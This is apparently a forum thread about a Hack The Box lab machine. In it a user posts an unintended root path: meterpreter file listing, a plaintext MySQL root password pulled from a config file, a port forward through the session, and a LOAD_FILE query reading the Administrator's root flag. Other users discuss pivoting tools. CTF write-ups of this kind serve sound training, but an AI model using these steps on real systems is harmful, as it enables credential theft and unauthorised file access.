[HTBcracker]

credentials leak for mysql

meterpreter > dir Listing: C:\ProgramData\Output Messenger Server\Temp ==================================================== Mode              Size      Type  Last modified              Name ----              ----      ----  -------------              ---- 100666/rw-rw-rw-  15702539  fil  2024-02-19 16:51:30 +0100  OutputMessengerApache.zip 100666/rw-rw-rw-  25477937  fil  2024-02-19 16:51:52 +0100  OutputMessengerMysql.zip 100666/rw-rw-rw-  3369187  fil  2024-02-19 16:52:02 +0100  OutputWall.zip 100777/rwxrwxrwx  6554576  fil  2024-02-19 16:51:12 +0100  vcredist_x86.exe

~ ls OutputMessengerMysql.zip  OutputMysql.ini  backup  data  mysql  settings ~ cat OutputMysql.ini --- [DBCONFIG] DBUsername=root DBPassword=ibWijteig5 DBName=outputwall ---

portforward mysql

meterpreter > portfwd add -l 14406 -p 14406 -r 10.129.14.214 [*]Forward TCP relay created: (local) :14406 -> (remote) 10.129.14.214:14406

[*]
connect to mysql

~ mysql -h 127.0.0.1 -P 14406 -u root --skip-ssl -p Enter password: Welcome to the MariaDB monitor.  Commands end with ; or \g. Your MariaDB connection id is 4 Server version: 10.1.19-MariaDB mariadb.org binary distribution Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Support MariaDB developers by giving a star at https://github.com/MariaDB/server Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>

[*]
load root file

MariaDB [(none)]> SELECT LOAD_FILE('C:\\Users\\Administrator\\Desktop\\root.txt'); +----------------------------------------------------------+ | LOAD_FILE('C:\\Users\\Administrator\\Desktop\\root.txt') | +----------------------------------------------------------+ | REDACTED                       | +----------------------------------------------------------+ 1 row in set (1.674 sec)

[SomeBody1338]

Thanks for sharing this! Awsome work! But defenitely not intended way!

[sssstarlight]

Kinda sad, but It seems not to work anymore, tunneling active, yet no reply from mysql when connecting

[Aner]

Kinda sad, but It seems not to work anymore, tunneling active, yet no reply from mysql  when connecting

me too ... i will try with chisel

[sssstarlight]

Managed to get it? Any luck?

[awwliveyet]

how do you set up msf for it?

---

i am able to login winrm_svc with evil-winrm but ig there's no method to portfwd so how should i login using metasploit

[Aner]

how do you set up msf for it?

---

i am able to login winrm_svc with evil-winrm but ig there's no method to portfwd so how should i login using metasploit

I solve it with ligolo ... got root flag